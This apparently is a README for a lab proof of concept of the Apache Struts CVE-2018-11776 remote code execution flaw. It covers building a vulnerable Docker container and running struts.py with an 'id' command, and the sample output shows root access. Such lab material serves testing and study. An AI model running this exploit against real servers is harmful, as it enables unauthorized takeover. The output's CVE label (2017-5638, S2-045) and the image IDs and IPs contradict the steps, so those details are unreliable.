CVE-2018-11776 PoC — Apache Struts 输入验证错误漏洞

介绍

<h3> Apache Struts CVE-2018-11776 Python PoC</h3>

<p>
This is based on https://github.com/hook-s3c/CVE-2018-11776-Python-PoC. The container build and instructions did not work as described in the README so this fork was created. The POC exploit used is from Rapid7.
</p>
<p>
Shoutout:
</p>

<p>
hook-s3c (github.com/hook-s3c), @hook_s3c on twitter <br>
Rapid7 https://github.com/rapid7/metasploit-framework/issues/8064
</p>

<h3>Introduction</h3>

<p>
Man Yue Mo from Semmle has disclosed an Struts2 RCE vulnerability, delivered in a payload encoded in the URL path of a request.
</p>

<p>
Versions affected are 2.3 to 2.3.34, and 2.5 to 2.5.16.
</p>

<p>
Default configuration is not vulnerable. This container, and many others, are vulnerable.
</p>

<h3>Step 1 - Build the Container</h3>

<p>
It's preferrable to build a container from a Dockerfile when you can see what is going into the build.
</p>
<br>

<code>
   git clone https://github.com/freshdemo/ApacheStruts-CVE-2018-11776 ./Struts
</code>
<br>
<code>
   cd Struts
</code>
<br>
<code>
   docker build . -t freshdemo/apachestruts
</code>
<br><br>

<p>
Find the new container with
</p>
<br>

<code>
   docker images
</code>
<br><br>

<p>
The output should be similar to this, where you can get the image ID.
</p>
<br>

   <pre>
   root@DockerHost:~/ApacheStruts-CVE-2018-11776# docker images
REPOSITORY                                 TAG                 IMAGE ID            CREATED              SIZE <br>
freshdemo/apachestruts                     latest              6586cedf49fa        About a minute ago   542MB <br>
</pre>
<br>


<h3>Step 2 - Run the Container</h3>

<p>
Build and start a container with the following.
</p>
<br>

<code>
   docker run -d --name apachestruts -p 8080:8080 d39018c50afe
</code>
<br>

<h3>Step 3 - Exploit</h3>

<p>
Make sure any ingress/egress firewalls permit the port you specified earlier (8080), and run the exploit against your target with the following. 
</p>
<br>

<code>
   python struts.py http://192.168.2.188:8080 'id'
</code>
<br><br>

<p>
Your output should be similar to this.
</p>
<br>

   <pre>
root@k:/home/s# python struts.py http://192.168.2.188:8080 'id'
[*] CVE: 2017-5638 - Apache Struts2 S2-045
http://13.88.250.188:8080 : [*] cmd: id


uid=0(root) gid=0(root) groups=0(root) <br>
   </pre>
<br>

文件快照

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